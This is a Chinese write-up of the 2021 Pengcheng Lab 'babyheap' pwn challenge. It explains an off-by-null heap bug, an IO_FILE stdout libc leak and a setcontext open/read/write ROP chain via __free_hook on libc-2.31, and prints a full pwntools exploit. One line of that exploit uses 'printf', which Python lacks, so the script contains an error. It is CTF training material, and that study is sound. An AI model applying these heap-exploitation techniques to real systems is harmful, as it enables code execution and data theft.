文件信息
??本题来自于2021年的鹏城实验室比赛的pwn题,题目链接如下:2021-鹏城实验室-pwn-babyheap。 ??该题目主要考查了libc-2.29.so及以上版本的off-by-null利用方式,本题目使用的是libc-2.31.so,知识点学习推荐博客glibc2.29下的off-by-null。同时作为堆题,保护全开,没有可用的show功能函数,必须使用IO_FILE来leak libc,知识点学习推荐博客pwn题堆利用的一些姿势 – IO_FILE。最后,题目使用了沙箱进制进行保护,禁用了execve系统调用,所以得用setcontext这个点,知识点学习推荐博客pwn堆利用的一些姿势 – setcontext。当然这里setcontext的使用略有不同,后面利用分析中会讲解。
漏洞定位
??在main函数由于使用了jmp rax ,所以反编译会有点问题,导致后面的菜单功能调用不能直接看伪代码,不过问题不大直接看汇编就好了,具体功能很容易分析的,此处不再详述。 ??这里我们直接定位到有漏洞的代码处,如下截图所示,有问题的代码位于具有edit功能的函数中。在已经修改完堆块内容后,edi函数中会调用如下代码对堆内容的每个字节做个检查,有一个字节的值是0xf的倍数的话都会导致v3值增加1,如果v3的值最后也是0xf的倍数,那么就会造成off-by-null漏洞。
利用分析
??好了,经过前面的分析,漏洞也算是比较直接的吧,其它菜单功能也很简单,所以基本上分析不会耗太多的时间,这里难的是在利用上。在最开始的题目信息介绍中,我已经介绍了相关的知识点,在利用思路上来说,其实也算是很直接,off-by-null漏洞点,没有leak函数,开了沙箱,每一步都是水到渠成的,难的是在多种知识考点的结合,编写exp确实要花费一定的时间。 ??这里将完整的利用流程叙述一遍。首先是libc-2.31.so下的off-by-null漏洞利用,该利用步骤大致可以分为四步:第一,利用large bin构造一个fake chunk;第二,利用small bin的性质构造fd->bk = fake chunk;第三,利用fast bin的性质构造bk->fd = fake chunk;第四,利用off-by-null修改prev_size和chunk_in_use标志位,最后unlink完事。当然在编写过程中会略显繁琐,需要仔细并且要算好堆块的一些偏移。 ??unlink之后的步骤是利用_IO_2_1_stdout_ 这个结构来泄露libc,具体操作的话需要将堆块分配到该结构体处,这里需要爆破一位(末三位是固定的),调试的话建议先关闭本地的随机化。之后我们修改其值为p64(0xfbad3887)+p64(0)*3 + p8(0) 就会leak出libc信息。 ??在泄露出libc后,我们就来到最后一大步了,首先我们先把orw链以及setcontext中的调用逻辑设置好。这里的细节在于,在libc-2.31.so中的setcontext是用rdx传递参数的,所以需要找一特殊的gadget来将rdi的参数传给rdx,具体见代码。最后我们再将堆块分配到free_hook上,将上述setcontext和orw组成的调用逻辑写在该堆块上,之后执行free就大功告成。
WP
??完整exp如下,注释写的很详细,大家可以细细分析一波。
from pwn import *
ld_path = ""
libc_path = "./libc.so.6"
p = process("./babyheap", env={"LD_PRELOAD":libc_path})
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()
def add(size):
sa("Choice:", "1")
sa("Size: ", str(size))
def edit(index, con):
sa("Choice:", "2")
sa("Index: ", str(index))
sa("Content: \n", con)
def free(index):
sa("Choice:", "3")
sa("Index: ", str(index))
def show():
sa("Choice:", "4")
add(0x18)
add(0x400)
for i in range(7):
add(0x28)
add(0x1000)
add(0x18)
free(9)
add(0x2000)
add(0x28)
edit(11, p64(0)+p64(0x521)+p8(0x40))
for i in range(4):
add(0x28)
for i in range(2, 9):
free(i)
free(14)
free(12)
for i in range(7):
add(0x28)
add(0x400)
add(0x28)
add(0x28)
edit(14, cyclic(0x8)+p8(0x20))
for i in range(2, 9):
free(i)
free(13)
free(11)
for i in range(7):
add(0x28)
add(0x28)
add(0x28)
edit(11, p8(0x20))
add(0x28)
add(0x5f8)
add(0x4c0)
edit(17, b"\x00"*9+cyclic(0x20-9)+p64(0x520))
free(18)
free(1)
free(12)
add(0xd0)
add(0xd0)
edit(12, p16(0x36a0))
add(0x400)
add(0x400)
edit(20, p64(0xfbad3887)+p64(0)*3 + p8(0))
info = u64(ru(b"\x7f")[-6:].ljust(8, b'\x00'))
print("leak: ", hex(info))
libc = ELF(libc_path)
base = info-libc.sym["_IO_2_1_stdin_"]
print("base: ", hex(base))
f_hook = base+libc.sym["__free_hook"]
setcontext = base+libc.sym["setcontext"]
mprotect = base+libc.sym["mprotect"]
print("f_hook: ", hex(f_hook))
pop_rax = base + 0x4a550
pop_rdi = base + 0x26b72
pop_rsi = base + 0x27529
pop_rdx_r12 = base + 0x11c371
syscall = base + 0x66229
ret = base + 0x25679
pad = p64(base+0x154930)
pad = pad.ljust(0x20, b'\x00')
pad += p64(setcontext+0x3d)
pad = pad.ljust(0xa0, b'\x00')
pad += p64(f_hook+0xb0)
pad += p64(ret)
flag = f_hook + 0x150
pad += p64(pop_rdi) + p64(flag)
pad += p64(pop_rax) + p64(2)
pad += p64(syscall)
pad += p64(pop_rdi) + p64(3)
pad += p64(pop_rsi) + p64(f_hook+0x200)
pad += p64(pop_rdx_r12) + p64(0x30) + p64(0)
pad += p64(pop_rax) + p64(0)
pad += p64(syscall)
pad += p64(pop_rdi) + p64(1)
pad += p64(pop_rax) + p64(1)
pad += p64(syscall)
printf(hex(len(pad)))
pad += b"flag\x00"
add(0x320)
add(0x320)
free(21)
free(22)
edit(17, p64(f_hook))
add(0x320)
add(0x320)
edit(22, pad)
edit(0, cyclic(0x8)+p64(f_hook))
free(0)
shell()
总结
不忘初心,砥砺前行!
|